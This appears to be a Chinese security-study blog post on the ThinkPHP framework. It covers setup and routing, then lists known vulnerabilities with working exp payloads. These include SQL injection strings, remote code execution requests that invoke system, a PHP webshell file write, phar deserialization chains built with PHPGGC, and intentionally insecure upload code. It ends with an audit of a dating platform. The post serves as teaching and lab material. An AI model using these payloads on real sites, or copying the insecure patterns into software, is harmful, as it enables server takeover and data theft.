Thinkphp框架常见漏洞

27 阅读10分钟

[TOC]

Thinkphp框架

PHP框架是许多代码的集合,这些代码是程序结构的代码,代码中有许多函数、类、功能类包。

相关框架

zendframework

php语言公司zend发布的官方框架,有许多OOP面向对象内容,功能非常丰富,重量级框架(高级语言、功能丰富)

Yii

国人自己开发的框架,重量级框架,纯OOP框架,该框架的特点是把代码的重用性发挥到了极致。速度非常快。外企使用最多的框架之一。

cakephp

cakephp是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该框架的主要目标是让各种层次的PHP开发人员能快速灵活的开发健壮的Web应用。

symfony

symfony是基于MVC模式的面向对象的PHP5框架。

ThinkPHP

ThinkPHP 是一个基于PHP 的快速、简单的轻量级MVC(Model-View-Controller)开发框架。它由中国开发者开发并广泛应用于国内的PHP 开发领域。ThinkPHP 的目标是简化开发过程,提高开发效率,同时保持代码的可维护性和扩展性。

特别适合中小型项目和快速开发场景。

旧版ThinkPHP环境部署

在新建项目下,使用阿里云的镜像安装:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

composer create-project --prefer-dist topthink/think=5.0.15 .

image-20251215205407164.png

将 composer.json 文件的 require 字段设置成如下:

image-20251217203210604.png

修改完成之后,执行 composer update

image-20251217203244292.png

使用 phpstudy 搭建网站。选择 public 作为根目录。

image-20251215205651264.png

部署成功:

image-20251217203842658.png

Thinkphp框架结构

目录结构

project  应用部署目录
├─application           * 应用目录 (网站代码目录)
│  ├─common             公共模块目录(可更改)
│  ├─index              * 模块目录(可更改)
│  │  ├─config.php      * 模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          * 路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

入口文件

ThinkPHP采用单一入口模式(默认都是index.php)进行项目部署和访问,无论完成什么功能,一个应用都有一个统一的入口。

URL设计

ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

这种方式也称为 PATH_INFO 方式,例如:

http://serverName(域名)/index.php(入口文件)/index(模块名)/index(文件名)/hello(函数名)/val(参数)/value(值)

模块:

image-20251215211934133.png

控制器:

image-20251215212119569.png

操作:

image-20251215212221570.png

如果你的环境只能支持普通方式的URL参数访问,那么必须使用兼容模式访问,如下:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

模块设计

模块结构:

├─module1            模块1目录
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录(可选)
│  │  ├─view            视图目录(可选)
│  │  └─ ...            更多类库目录

image-20251215213544650.png

controller是固定的。

image-20251215213554812.png

控制器首字母大写。

MVC模式

MVC的全名是Model View Controller,是模型(Model)-视图(view)-控制器(controller)的缩写,是一种设计模式。它是用一种业务逻辑、数据与界面显示分离的方法来组织代码。

image-20251215214036850.png

控制器

控制器主要负责请求的接收,并调用相关的模型处理,并最终通过视图输出。

一个典型的Index控制器类如下:

namespace app\index\controller;  // index是控制器名,app的controller格式固定

//application\index\controller\Index.php 是控制器类文件的实际位置

class Index
{
   public function index()
   {
       return 'hello,thinkphp!';
   }
}

操作

一个控制器包含多个操作(方法),操作方法是一个URL访问的最小单元。

public function index()
   {
       return 'index';
   }

操作方法可以不使用任何参数,如果定义了一个非可选参数,则该参数必须通过用户请求传入,如果是URL请求,则通常是GET或者GET或者POST方式传入。

路由规则

在 route.php 文件里:

return [
    '__pattern__' => [
        'name' => '\w+',
    ],
    '[hello]'     => [
        ':id'   => ['index/hello', ['method' => 'get'], ['id' => '\d+']],
        ':name' => ['index/hello', ['method' => 'post']],
    ],

];

解释如下:

当访问 hello/123 时,调用的是 index/hello 方法,参数 id = 123,仅限 get 请求。

当访问 hello/tom 时,调用的是 index/hello 方法,参数 name = tom,仅限 post 请求。

启用调试可以看到详细报错:

image-20251216110003289.png

image-20251216110217235.png

当我们用 http://test.com/index.php/hello/tom 的 POST 方法进行传参时,就会直接访问到 hello 方法。

image-20251216110414468.png

变量获取

变量类型方法包括:

方法描述
param获取当前请求的变量
get获取$_GET 变量
post获取$_POST 变量
put获取PUT 变量
delete获取DELETE 变量
session获取$_SESSION 变量
cookie获取$_COOKIE 变量
request获取$_REQUEST 变量
server获取$_SERVER 变量
env获取$_ENV 变量
route获取 路由(包括PATHINFO) 变量
file获取$_FILES 变量
  • 获取PARAM变量

    PARAM变量是框架提供的用于自动识别GET、POST或者PUT请求的一种变量获取方式

    // 获取当前请求的name变量
    Request::instance()->param('name');
    
    // 获取当前请求的所有变量(经过过滤)
    Request::instance()->param();
    
    // 获取当前请求的所有变量(原始数据)
    Request::instance()->param(false);
    
    // 获取当前请求的所有变量(包含上传文件)
    Request::instance()->param(true);
    

    系统为一些常用的操作方法封装了助手函数,便于使用,input函数默认就采用PARAM变量读取方式

    // 和上面对应起来:
    input('param.name');
    input('param.');
    或者
    input('name');  // = $_GET['name'] = $_POST['name']
    input('');
    

    (其他变量获取函数和 PARAM 函数用法类似,input函数用法也类似)

变量修饰符

input 函数支持对变量使用修饰符功能,可以更好的过滤变量。

用法如下: input('变量类型.变量名/修饰符'); 或者 Request::instance()->变量类型('变量名/修饰符');

input('get.id/d');          // intval($_GET['id']) (数字型)

input('post.name/s');       // (字符型)
// = string($_POST['name']) = htmlspecialchars($_POST['name'])

input('post.ids/a');        // (数组型)

Request::instance()->get('id/d');

ThinkPHP5.0版本默认的变量修饰符是 /s,如果需要传入字符串之外的变量可以使用下面的修饰 符,包括:

修饰符作用
s强制转换为字符串类型
d强制转换为整型类型
b强制转换为布尔类型
a强制转换为数组类型
f强制转换为浮点类型

变量过滤

框架默认没有设置任何过滤规则,你可以是配置文件中设置全局的过滤规则:

image-20251216113809709.png

也支持使用 Request 对象进行全局变量的获取过滤:

Request::instance()->filter('htmlspecialchars');

也可以在获取变量的时候添加过滤方法,例如:

Request::instance()->get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤
Request::instance()->param('username','','strip_tags'); // 获取param变量 并用strip_tags函数过滤

Request对象还支持PHP内置提供的Filter ID过滤,例如:

Request::instance()->post('email','',FILTER_VALIDATE_EMAIL);

需要注意的是,采用Filter ID 进行过滤的话,如果不符合过滤要求的话会返回false,因此你需要配合默认值来确保最终的值符合你的规范。

数据库

基本查询
  • 查询一个数据使用:

    // table方法必须指定完整的数据表名
    Db::table('think_user')->where('id',1)->find();
    

    find 方法查询结果不存在,返回null

  • 查询数据集使用:

    Db::table('think_user')->where('status',1)->select();
    

    select 方法查询结果不存在,返回空数组

  • 如果设置了数据表前缀参数的话,可以使用:

    Db::name('user')->where('id',1)->find();
    Db::name('user')->where('status',1)->select();
    

image-20251216114612027.png

(在 database.php 配置文件下)

原生查询
  • query方法

    query方法用于执行SQL查询操作,返回查询结果 。

    Db::query("select * from think_user where status=1");
    
  • execute方法

    execute用于更新和写入数据的sql操作

    Db::execute("update think_user set name='thinkphp' where status=1");
    
  • 参数绑定

    Db::query('select * from think_user where id=?',[8]);
    Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']);
    
    Db::query('select * from think_user where id=:id',['id'=>8]);
    Db::execute('insert into think_user (id, name) values (:id, :name)',
    ['id'=>8,'name'=>'thinkphp']);
    

    以上使用 ?: 的参数绑定都不存在 SQL 注入。

Composer

Composer 是PHP 用来管理依赖(dependency)关系的工具。

Composer下载与安装

  • linux环境安装

    curl -sS https://getcomposer.org/installer| php
    mv composer.phar /usr/local/bin/composer
    
  • Windows环境安装

    下载并运行 Composer-Setup.exe,安装完毕输入compser

    下载网址:getcomposer.org/Composer-Se…

    小皮面板中也有自带的 composer。

image-20251215204635836.png

在 public 所在的目录下用 composer 进行管理。

image-20251215210022657.png

访问到看到下图即创建成功:

image-20251215210133360.png

ThinkPHP常见漏洞

框架漏洞

ThinkPHP框架存在多个版本,不同版本漏洞也不同。

insert 方法注入

  • 版本

    5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

  • 例子

    insert 函数是用于向数据库插入单条数据的核心方法。

    将 application/index/controller/Index.php ⽂件代码设置如下:

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$username = Input('username/a');
    		db('users')->insert(['username' => $username]); //插入数据库
    		return 'Update success';
    	}
    }
    

    在 application/database.php ⽂件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。创建数据库信息如下:

    create database tpdemo;
    use tpdemo;
    create table users(
    	id int primary key auto_increment,
    	username varchar(50) not null
    );
    
  • exp

    index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
    

image-20251217205026514.png

update 方法注入

  • 版本

    5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)

  • 例子

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$username = Input('username/a');
    		db('users')->where(['id' => 1])->update(['username' => $username]);
    		return 'Update success';
    	}
    }
    
  • exp

    http://tp.com/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
    

select 方法注入

  • 版本

    ThinkPHP5全版本

  • 例子

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$username = Input('username');
    		$result = db('users')->where('username','exp',$username)->select();
    		return 'select success';
    	}
    }
    
  • exp

    username=) union select updatexml(1,concat(0x7,user(),0x7e),1)-- a
    

image-20251217210916838.png

在报错信息中可以看到成功执行的SQL语句:

image-20251217211014043.png

  • 如果使⽤了EXP表达式,当表达式的值可以被攻击者控制的时候,则也会造成sql注⼊漏洞,但是官⽅认为此功能是正常功能,因此全版本都存在类似问题。

select 方法注入

  • 版本

    ThinkPHP=5.0.10

  • 例子

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$username = request()->get('username/a');
    		$result = db('users')->where(['username' => $username])->select();
    		var_dump($result);
    	}
    }
    
  • exp

    username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()-- a
    

orderby 方法注入

  • 版本

    5.1.16<=ThinkPHP5<=5.1.22

  • 例子

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$orderby = request()->get('orderby');
    		$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
    		var_dump($result);
    	}
    }
    
  • exp

    orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
    

所有 Mysql 聚合函数相关方法均存在注入

  • 版本

    5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25

  • 例子

    <?php
    namespace app\index\controller;
    class Index
    {
    	public function index()
    	{
    		$options = input('options');
    		$result = db('users')->max($options);
    		var_dump($result);
    	}
    }
    
  • exp

    5.0.0~5.0.21 、 5.1.3~5.1.10:

    options=id)+,bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users-- a
    

    5.1.11~5.1.25 :

    id)+,bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users-- a
    

image-20251217213843448.png

MySQL 常用聚合函数:

函数作用
COUNT(*)统计记录总数
COUNT(field)统计指定字段非空值的数量
SUM(field)计算指定字段的总和
AVG(field)计算指定字段的平均值
MAX(field)获取指定字段的最大值
MIN(field)获取指定字段的最小值

代码执行1

  • 版本

    5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

  • 原理

    ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调⽤任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣

  • exp

    ThinkPHP <= 5.0.13

    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system
    

    ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
    

    ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

    POST / HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=COMMAND
    _method=__construct&filter[]=system&method=get&server[]=COMMAND
    

image-20251217215435859.png

代码执行2

  • 版本

    5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

  • exp

    5.1.x :

    ?s=index/\think\Request/input&filter[]=system&data=pwd
    
    ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    
    ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    
    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    
    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    5.0.x :

    ?s=index/think\config/get&name=database.username # 获取配置信息
    
    ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意⽂件
    
    ?s=index/\think\Config/load&file=../../t.php # 包含任意.php⽂件
    
    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
    

image-20251217220536186.png

文件包含漏洞

  • 版本

    5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

  • 例子

    <?php
    namespace app\index\controller;
    use think\Controller;
    class Index extendsController
    {
    	public function index()
    	{
    		$this->assign(request()->get());
    		return $this->fetch(); // 当前模块/默认视图⽬录/当前控制器(⼩写)/当前操作(⼩写).html
    	}
    }
    
  • exp

    创建 application/index/view/index/index.html ⽂件,内容随意(没有这个模板⽂件的话,在渲染时程序会报错),并将图⽚⻢ 1.jpg 放⾄ public ⽬录下(模拟上传图⽚操作)。接着访问http://localhost:8000/index/index/index?cacheFile=1.jpg,即可触发 ⽂件包含漏洞

不安全写法

sql注入1

直接将变量拼接到数据库查询函数当中

  • 例子
public function getVueContent(){
	$type=I('type');
	$flag=I('flag');
	$address=I('address');
	$ret=[];
	if($flag==1){
		$list=M('recharge')->where("address='".$address."' and type=".$type)->order("id desc ")->select();                     //用.拼接SQL语句
		foreach ($list as $k=>$v){
			$list[$k]['addtime']=date('Y-m-d H:i:s',$v['addtime']);
			$list[$k]['amount']=round($v['amount'],5).'USDT ';
		}
		echo json_encode($list);

直接在表名中插⼊变量导致sql注⼊漏洞

  • 例子
$wallet = $this->request->param('type');
$page = $this->request->param('page') ?? 1;
           // 直接插入变量
$list =Db::name($wallet . '_log a')->join('user b', 'a.user_id=b.id', 'left')->where(['a.user_id' => $this->user_id])->field('a.id,a.number,a.table_id,a.type,a.remark,a.remain,a.w_time,b.username')->order('a.id desc')->paginate(20, false, ['page' => $page]);

if ($list->all()) {

sql注入2

使用原生获取参数方法,跳过了 thinkphp 的数组检查。

  • 例子
$map['orderid'] = $POST['out_trade_no']; 
$map['status'] = 0;
$rs =Db::name("pay")->where($map)->find();  // ['orderid' => $POST['out_trade_no']]
  • exp
out_trade_no[]=exp&out_trade_no[]=)+union+select+updatexml(1,concat(0x7,user(),0x7e),1)--+a

文件上传

  • 例子

上传时除了使⽤普通的上传⽅式,也可以使⽤base64上传

public function uploadBase64Img()
{
	$base64_image_content = $this->request->param('img');
	if (empty($base64_image_content)) {
		$this->error('图⽚不能为空');
	}
	if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)) {   // 利用正则表达式分离出主题和后缀。
        //if(in_array($result[2],array('pjpeg','jpeg','jpg','gif','bmp','png'))
		$type = $result[2];   // 后缀直接传到$type中,无过滤。
		$new_file = '/uploads/share_images';
		if (!file_exists(ROOT_PATH . 'public' . $new_file)) {
			mkdir(ROOT_PATH . 'public' . $new_file, 0777);
		}    // 创建一个目录
		$new_file .= '/' . uniqid(md5(microtime(true))) . '.' . $type;  //  创建对应文件
		if (file_put_contents('.' . $new_file, base64_decode(str_replace($result[1], '', $base64_image_content)))) {    // 写入文件
			$img_url = $this->request->domain() . $new_file;
			$this->success('上传成功', $img_url);
		} else {
		$this->error('上传失败');
		}
	} else {
		$this->error('图⽚格式不正确');
	}
}

由于无文件后缀过滤导致任意文件上传漏洞。

  • 例子

    原⽣的上传写法

// 获取表单上传⽂件 例如上传了001.jpg
$file = request()->file('image');
// 移动到框架应⽤根⽬录/uploads/ ⽬录下
$info = $file->move( '../uploads');

同样无过滤。

phar反序列化漏洞

通常我们在利⽤反序列化漏洞的时候,只能将序列化后的字符串传⼊unserialize(),随着代码安全性越来越⾼,利⽤难度也越来越⼤。现在利⽤phar⽂件会以序列化的形式存储⽤户⾃定义的meta-data这⼀特性,拓展了php反序列化漏洞的攻击⾯。

phar简介

phar,全称为PHP Archive,har扩展提供了⼀种将整个PHP应⽤程序放⼊phar⽂件中的⽅法,以⽅便移动、安装。

phar文件结构

<?php
	class TestObject {
	}
	@unlink("phar.phar");
	$phar = new Phar("phar.phar"); //后缀名必须为phar
	$phar->startBuffering();
	$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
	$o = new TestObject();
	$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest
	$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件
	//签名⾃动计算
	$phar->stopBuffering();
	echo "success!";
?>           //代码用于生成一个par文件。
  • stub

    ⼀个供phar扩展⽤于识别是否为phar⽂件的标志。

  • manifest

    这部分会以序列化的形式存储⽤户⾃定义的meta-data,这⾥即为反序列化漏洞点。

  • contents

    被压缩⽂件的内容。

  • signature

    签名,放在⽂件末尾。

注意:要将php.ini中的 phar.readonly 选项设置为 Off ,否则⽆法⽣成phar⽂件。

利用方法

  1. ⽣成恶意phar⽂件,本质是反序列化漏洞,因此要有可⽤的魔术⽅法作为“跳板”。
  2. 上传恶意phar⽂件,恶意⽂件要能够上传到服务器端。
  3. 调⽤恶意phar⽂件,需要存在⽂件操作函数,并且参数可控,且:、/、phar等特殊字符没有被过滤。

PHPGGC工具

PHPGGC是⼀款能够⾃动⽣成主流框架的序列化测试payload的⼯具。

⽬前,该⼯具⽀持以下⼩⼯具链:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 、 ZendFramework和ThinkPHP。

下载地址:github.com/ambionics/p…

工具安装

解压到本地后,用cmd打开总目录。

工具使用

运⾏phpggc 的条件 PHP >= 5.6

  • 查看全部利⽤链(gadgets)
php ./phpggc -l

image-20251218223443674.png

  • 查看⽤法
php phpggc ThinkPHP/RCE1 -i

image-20251219103443731.png

  • ⽣成恶意phar⽂件
php phpggc ThinkPHP/RCE1 system calc  -p phar -o a.jpg
-p 指定par文件
-o 保存的文件名

image-20251219105354340.png

(保存在这里)

⽣成的原始payload含有不可⻅字符,复制粘贴会导致反序列化失败。可以对payload进⾏编码:

  • ⽣成url编码的payload
php phpggc ThinkPHP/RCE1system calc -u
  • ⽣成base64编码的payload
php phpggc ThinkPHP/FW1test.php 1.php -b

如果是windows下利⽤phar反序列化漏洞写⼊⽂件,⽣成⽂件的⽬录是php解释器⽬录,下⾯命令会在phpstudy的php解释器⽬录下⽣成⽂件

# php phpggc ThinkPHP/FW1 -i
Name : ThinkPHP/FW1
Version : 5.0.4-5.0.24
Type : File write
Vector : __destruct
Informations :
We do not have full control of the path. Also, the path will turn to
a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c
7186db11bb158c44.php.
Tested on Windows with php7.3.4 and apache2.4.39.
./phpggc ThinkPHP/FW1 <remote_path> <local_path>
php phpggc ThinkPHP/FW1 test.php 1.php -o 1.txt

文件操作函数

php⼀⼤部分的⽂件系统函数在通过 phar:// 伪协议解析phar⽂件时,都会将meta-data进⾏反序列化,测试后受影响的函数如下:

image-20251219113556532.png

exif
exif_thumbnail
exif_imagetype
    
gd
imageloadfont
imagecreatefrom
    
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
    
file / url
get_meta_tags
get_headers
mime_content_type
    
standard
getimagesize
getimagesizefromstring
    
finfo
finfo_file
finfo_buffer
    
zip
$zip = newZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres
<?php
$pdo = newPDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "12
7.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
<?php
class A {
	public $s = '';
	public function __wakeup () {
		system($this->s);
	}
}
$m = mysqli_init();
mysqli_options($m,MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' IN
TO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置⼀下mysqld。(⾮默认配置)
[mysqld]
local-infile=1
secure_file_priv=""

image-20251219211037636.png

注意:

  • 正常情况下会弹出计算器,不过如果服务器权限过低就会执行失败。

  • 文件路径要填相对路径(相对于index.php文件的路径)。

月老盲盒脱单交友平台审计

文件上传漏洞

image-20251219211735502.png

下⾯代码通过input函数接收data参数,类型是数组,然后调⽤base64image函数进⾏处理。

image-20251219214229662.png base64image函数没有进行任何过滤。

image-20251219214429057.png 直接用base64编码格式上传:

data=data:[文件MIME类型];base64,[文件的Base64编码内容]
data=data:image/php;base64,PD9waHAKZXZhbChwaHBpbmZvKCkpOwoKPz4=

访问得到:

image-20251219220608051.png